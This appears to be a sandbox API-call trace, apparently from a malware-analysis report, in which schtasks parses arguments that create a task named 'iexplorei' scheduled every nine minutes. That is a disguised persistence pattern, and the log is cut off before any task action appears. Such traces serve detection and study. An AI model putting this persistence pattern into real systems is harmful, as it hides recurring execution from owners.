GetProcessHeap () returned 0x290000 [0153.292] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xa) returned 0x2ac1c0 [0153.292] lstrlenW (lpString="create") returned 6 [0153.292] GetProcessHeap () returned 0x290000 [0153.292] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ac1e0 [0153.292] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.292] GetProcessHeap () returned 0x290000 [0153.293] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x14) returned 0x2ac200 [0153.293] _vsnwprintf (in: _Buffer=0x2ac1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.293] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.293] lstrlenW (lpString="|?|") returned 3 [0153.293] lstrlenW (lpString="|create|") returned 8 [0153.293] SetLastError (dwErrCode=0x490) [0153.293] lstrlenW (lpString="create") returned 6 [0153.293] lstrlenW (lpString="create") returned 6 [0153.293] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.293] GetProcessHeap () returned 0x290000 [0153.293] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac1c0) returned 1 [0153.293] GetProcessHeap () returned 0x290000 [0153.293] RtlReAllocateHeap (Heap=0x290000, Flags=0xc, Ptr=0x2ac1c0, Size=0x14) returned 0x2ac220 [0153.293] lstrlenW (lpString="create") returned 6 [0153.293] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.293] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.294] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.294] lstrlenW (lpString="|create|") returned 8 [0153.294] lstrlenW (lpString="|create|") returned 8 [0153.294] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0153.294] SetLastError (dwErrCode=0x0) [0153.294] SetLastError (dwErrCode=0x0) [0153.294] SetLastError (dwErrCode=0x0) [0153.294] lstrlenW (lpString="/tn") returned 3 [0153.294] lstrlenW (lpString="-/") returned 2 [0153.294] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.294] lstrlenW (lpString="?") returned 1 [0153.294] lstrlenW (lpString="?") returned 1 [0153.294] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.294] lstrlenW (lpString="tn") returned 2 [0153.294] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.294] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.294] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.294] lstrlenW (lpString="|?|") returned 3 [0153.295] lstrlenW (lpString="|tn|") returned 4 [0153.295] SetLastError (dwErrCode=0x490) [0153.295] lstrlenW (lpString="create") returned 6 [0153.295] lstrlenW (lpString="create") returned 6 [0153.295] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.295] lstrlenW (lpString="tn") returned 2 [0153.295] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.295] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.295] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.295] lstrlenW (lpString="|create|") returned 8 [0153.295] lstrlenW (lpString="|tn|") returned 4 [0153.295] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0153.295] SetLastError (dwErrCode=0x490) [0153.295] lstrlenW (lpString="delete") returned 6 [0153.295] lstrlenW (lpString="delete") returned 6 [0153.295] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.295] lstrlenW (lpString="tn") returned 2 [0153.295] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.295] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0153.295] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.295] lstrlenW (lpString="|delete|") returned 8 [0153.295] lstrlenW (lpString="|tn|") returned 4 [0153.296] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0153.296] SetLastError (dwErrCode=0x490) [0153.296] lstrlenW (lpString="query") returned 5 [0153.296] lstrlenW (lpString="query") returned 5 [0153.296] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.296] lstrlenW (lpString="tn") returned 2 [0153.296] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.296] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0153.296] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.296] lstrlenW (lpString="|query|") returned 7 [0153.296] lstrlenW (lpString="|tn|") returned 4 [0153.296] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0153.296] SetLastError (dwErrCode=0x490) [0153.296] lstrlenW (lpString="change") returned 6 [0153.296] lstrlenW (lpString="change") returned 6 [0153.296] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.296] lstrlenW (lpString="tn") returned 2 [0153.296] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.296] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0153.296] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.296] lstrlenW (lpString="|change|") returned 8 [0153.296] lstrlenW (lpString="|tn|") returned 4 [0153.297] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0153.297] SetLastError (dwErrCode=0x490) [0153.297] lstrlenW (lpString="run") returned 3 [0153.297] lstrlenW (lpString="run") returned 3 [0153.297] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.297] lstrlenW (lpString="tn") returned 2 [0153.297] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.297] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0153.297] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.297] lstrlenW (lpString="|run|") returned 5 [0153.297] lstrlenW (lpString="|tn|") returned 4 [0153.297] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0153.297] SetLastError (dwErrCode=0x490) [0153.297] lstrlenW (lpString="end") returned 3 [0153.297] lstrlenW (lpString="end") returned 3 [0153.297] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.297] lstrlenW (lpString="tn") returned 2 [0153.297] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.297] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0153.297] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.297] lstrlenW (lpString="|end|") returned 5 [0153.297] lstrlenW (lpString="|tn|") returned 4 [0153.298] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0153.298] SetLastError (dwErrCode=0x490) [0153.298] lstrlenW (lpString="showsid") returned 7 [0153.298] lstrlenW (lpString="showsid") returned 7 [0153.298] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.298] GetProcessHeap () returned 0x290000 [0153.298] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac220) returned 1 [0153.298] GetProcessHeap () returned 0x290000 [0153.298] RtlReAllocateHeap (Heap=0x290000, Flags=0xc, Ptr=0x2ac220, Size=0x16) returned 0x2ac220 [0153.298] lstrlenW (lpString="tn") returned 2 [0153.298] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.298] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0153.298] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0153.298] lstrlenW (lpString="|showsid|") returned 9 [0153.298] lstrlenW (lpString="|tn|") returned 4 [0153.298] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0153.298] SetLastError (dwErrCode=0x490) [0153.298] SetLastError (dwErrCode=0x490) [0153.298] SetLastError (dwErrCode=0x0) [0153.298] lstrlenW (lpString="/tn") returned 3 [0153.298] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0153.298] SetLastError (dwErrCode=0x490) [0153.298] SetLastError (dwErrCode=0x0) [0153.298] lstrlenW (lpString="/tn") returned 3 [0153.299] GetProcessHeap () returned 0x290000 [0153.299] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x8) returned 0x2ac1c0 [0153.299] GetProcessHeap () returned 0x290000 [0153.299] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acbd0 [0153.299] SetLastError (dwErrCode=0x0) [0153.299] SetLastError (dwErrCode=0x0) [0153.299] lstrlenW (lpString="iexplorei") returned 9 [0153.299] lstrlenW (lpString="-/") returned 2 [0153.299] StrChrIW (lpStart="-/", wMatch=0x69) returned 0x0 [0153.299] SetLastError (dwErrCode=0x490) [0153.299] SetLastError (dwErrCode=0x490) [0153.299] SetLastError (dwErrCode=0x0) [0153.299] lstrlenW (lpString="iexplorei") returned 9 [0153.299] StrChrIW (lpStart="iexplorei", wMatch=0x3a) returned 0x0 [0153.299] SetLastError (dwErrCode=0x490) [0153.299] SetLastError (dwErrCode=0x0) [0153.299] lstrlenW (lpString="iexplorei") returned 9 [0153.299] GetProcessHeap () returned 0x290000 [0153.299] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x14) returned 0x2ad4c0 [0153.299] GetProcessHeap () returned 0x290000 [0153.299] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc00 [0153.299] SetLastError (dwErrCode=0x0) [0153.299] SetLastError (dwErrCode=0x0) [0153.299] lstrlenW (lpString="/sc") returned 3 [0153.299] lstrlenW (lpString="-/") returned 2 [0153.299] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.299] lstrlenW (lpString="?") returned 1 [0153.299] lstrlenW (lpString="?") returned 1 [0153.299] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.299] lstrlenW (lpString="sc") returned 2 [0153.299] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.300] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.300] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.300] lstrlenW (lpString="|?|") returned 3 [0153.300] lstrlenW (lpString="|sc|") returned 4 [0153.300] SetLastError (dwErrCode=0x490) [0153.300] lstrlenW (lpString="create") returned 6 [0153.300] lstrlenW (lpString="create") returned 6 [0153.300] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.300] lstrlenW (lpString="sc") returned 2 [0153.300] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.300] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.300] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.300] lstrlenW (lpString="|create|") returned 8 [0153.300] lstrlenW (lpString="|sc|") returned 4 [0153.300] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0153.300] SetLastError (dwErrCode=0x490) [0153.300] lstrlenW (lpString="delete") returned 6 [0153.300] lstrlenW (lpString="delete") returned 6 [0153.300] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.300] lstrlenW (lpString="sc") returned 2 [0153.300] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.300] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0153.300] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.300] lstrlenW (lpString="|delete|") returned 8 [0153.301] lstrlenW (lpString="|sc|") returned 4 [0153.301] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0153.301] SetLastError (dwErrCode=0x490) [0153.301] lstrlenW (lpString="query") returned 5 [0153.301] lstrlenW (lpString="query") returned 5 [0153.301] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.301] lstrlenW (lpString="sc") returned 2 [0153.301] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.301] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0153.301] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.303] lstrlenW (lpString="|query|") returned 7 [0153.303] lstrlenW (lpString="|sc|") returned 4 [0153.303] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0153.303] SetLastError (dwErrCode=0x490) [0153.303] lstrlenW (lpString="change") returned 6 [0153.303] lstrlenW (lpString="change") returned 6 [0153.303] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.303] lstrlenW (lpString="sc") returned 2 [0153.303] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.303] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0153.303] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.303] lstrlenW (lpString="|change|") returned 8 [0153.303] lstrlenW (lpString="|sc|") returned 4 [0153.303] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0153.303] SetLastError (dwErrCode=0x490) [0153.303] lstrlenW (lpString="run") returned 3 [0153.303] lstrlenW (lpString="run") returned 3 [0153.303] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.303] lstrlenW (lpString="sc") returned 2 [0153.303] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.303] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0153.303] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.304] lstrlenW (lpString="|run|") returned 5 [0153.304] lstrlenW (lpString="|sc|") returned 4 [0153.304] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0153.304] SetLastError (dwErrCode=0x490) [0153.304] lstrlenW (lpString="end") returned 3 [0153.304] lstrlenW (lpString="end") returned 3 [0153.304] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.304] lstrlenW (lpString="sc") returned 2 [0153.304] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.304] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0153.304] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.304] lstrlenW (lpString="|end|") returned 5 [0153.304] lstrlenW (lpString="|sc|") returned 4 [0153.304] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0153.304] SetLastError (dwErrCode=0x490) [0153.304] lstrlenW (lpString="showsid") returned 7 [0153.304] lstrlenW (lpString="showsid") returned 7 [0153.304] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.304] lstrlenW (lpString="sc") returned 2 [0153.304] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.304] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0153.304] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|sc|") returned 4 [0153.304] lstrlenW (lpString="|showsid|") returned 9 [0153.304] lstrlenW (lpString="|sc|") returned 4 [0153.304] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0153.304] SetLastError (dwErrCode=0x490) [0153.305] SetLastError (dwErrCode=0x490) [0153.305] SetLastError (dwErrCode=0x0) [0153.305] lstrlenW (lpString="/sc") returned 3 [0153.305] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0153.305] SetLastError (dwErrCode=0x490) [0153.305] SetLastError (dwErrCode=0x0) [0153.305] lstrlenW (lpString="/sc") returned 3 [0153.305] GetProcessHeap () returned 0x290000 [0153.305] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x8) returned 0x2adc90 [0153.305] GetProcessHeap () returned 0x290000 [0153.305] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc30 [0153.305] SetLastError (dwErrCode=0x0) [0153.305] SetLastError (dwErrCode=0x0) [0153.305] lstrlenW (lpString="MINUTE") returned 6 [0153.305] lstrlenW (lpString="-/") returned 2 [0153.305] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0153.305] SetLastError (dwErrCode=0x490) [0153.305] SetLastError (dwErrCode=0x490) [0153.305] SetLastError (dwErrCode=0x0) [0153.305] lstrlenW (lpString="MINUTE") returned 6 [0153.305] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0153.305] SetLastError (dwErrCode=0x490) [0153.305] SetLastError (dwErrCode=0x0) [0153.305] lstrlenW (lpString="MINUTE") returned 6 [0153.305] GetProcessHeap () returned 0x290000 [0153.305] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xe) returned 0x2ad4e0 [0153.305] GetProcessHeap () returned 0x290000 [0153.305] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc60 [0153.305] SetLastError (dwErrCode=0x0) [0153.305] SetLastError (dwErrCode=0x0) [0153.306] lstrlenW (lpString="/mo") returned 3 [0153.306] lstrlenW (lpString="-/") returned 2 [0153.306] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.306] lstrlenW (lpString="?") returned 1 [0153.306] lstrlenW (lpString="?") returned 1 [0153.306] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.306] lstrlenW (lpString="mo") returned 2 [0153.306] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.306] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.306] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.306] lstrlenW (lpString="|?|") returned 3 [0153.306] lstrlenW (lpString="|mo|") returned 4 [0153.306] SetLastError (dwErrCode=0x490) [0153.306] lstrlenW (lpString="create") returned 6 [0153.306] lstrlenW (lpString="create") returned 6 [0153.306] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.306] lstrlenW (lpString="mo") returned 2 [0153.306] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.306] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.306] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.306] lstrlenW (lpString="|create|") returned 8 [0153.306] lstrlenW (lpString="|mo|") returned 4 [0153.306] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0153.306] SetLastError (dwErrCode=0x490) [0153.306] lstrlenW (lpString="delete") returned 6 [0153.306] lstrlenW (lpString="delete") returned 6 [0153.306] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.307] lstrlenW (lpString="mo") returned 2 [0153.307] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.307] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0153.307] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.307] lstrlenW (lpString="|delete|") returned 8 [0153.307] lstrlenW (lpString="|mo|") returned 4 [0153.307] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0153.307] SetLastError (dwErrCode=0x490) [0153.307] lstrlenW (lpString="query") returned 5 [0153.307] lstrlenW (lpString="query") returned 5 [0153.307] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.307] lstrlenW (lpString="mo") returned 2 [0153.307] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.307] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0153.307] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.307] lstrlenW (lpString="|query|") returned 7 [0153.307] lstrlenW (lpString="|mo|") returned 4 [0153.307] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0153.307] SetLastError (dwErrCode=0x490) [0153.307] lstrlenW (lpString="change") returned 6 [0153.307] lstrlenW (lpString="change") returned 6 [0153.307] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.307] lstrlenW (lpString="mo") returned 2 [0153.307] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.307] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0153.308] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.308] lstrlenW (lpString="|change|") returned 8 [0153.308] lstrlenW (lpString="|mo|") returned 4 [0153.308] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0153.308] SetLastError (dwErrCode=0x490) [0153.308] lstrlenW (lpString="run") returned 3 [0153.308] lstrlenW (lpString="run") returned 3 [0153.308] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.308] lstrlenW (lpString="mo") returned 2 [0153.308] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.308] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0153.308] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.308] lstrlenW (lpString="|run|") returned 5 [0153.308] lstrlenW (lpString="|mo|") returned 4 [0153.308] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0153.308] SetLastError (dwErrCode=0x490) [0153.308] lstrlenW (lpString="end") returned 3 [0153.308] lstrlenW (lpString="end") returned 3 [0153.308] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.308] lstrlenW (lpString="mo") returned 2 [0153.308] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.308] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0153.308] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.308] lstrlenW (lpString="|end|") returned 5 [0153.308] lstrlenW (lpString="|mo|") returned 4 [0153.309] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0153.309] SetLastError (dwErrCode=0x490) [0153.309] lstrlenW (lpString="showsid") returned 7 [0153.309] lstrlenW (lpString="showsid") returned 7 [0153.309] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.309] lstrlenW (lpString="mo") returned 2 [0153.309] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.309] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0153.310] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|mo|") returned 4 [0153.310] lstrlenW (lpString="|showsid|") returned 9 [0153.310] lstrlenW (lpString="|mo|") returned 4 [0153.310] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0153.310] SetLastError (dwErrCode=0x490) [0153.310] SetLastError (dwErrCode=0x490) [0153.310] SetLastError (dwErrCode=0x0) [0153.310] lstrlenW (lpString="/mo") returned 3 [0153.310] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0153.310] SetLastError (dwErrCode=0x490) [0153.310] SetLastError (dwErrCode=0x0) [0153.310] lstrlenW (lpString="/mo") returned 3 [0153.310] GetProcessHeap () returned 0x290000 [0153.310] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x8) returned 0x2adcb0 [0153.310] GetProcessHeap () returned 0x290000 [0153.310] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acc90 [0153.310] SetLastError (dwErrCode=0x0) [0153.310] SetLastError (dwErrCode=0x0) [0153.310] lstrlenW (lpString="9") returned 1 [0153.310] SetLastError (dwErrCode=0x490) [0153.310] SetLastError (dwErrCode=0x0) [0153.310] lstrlenW (lpString="9") returned 1 [0153.310] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0153.310] SetLastError (dwErrCode=0x490) [0153.310] SetLastError (dwErrCode=0x0) [0153.311] lstrlenW (lpString="9") returned 1 [0153.311] GetProcessHeap () returned 0x290000 [0153.311] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x4) 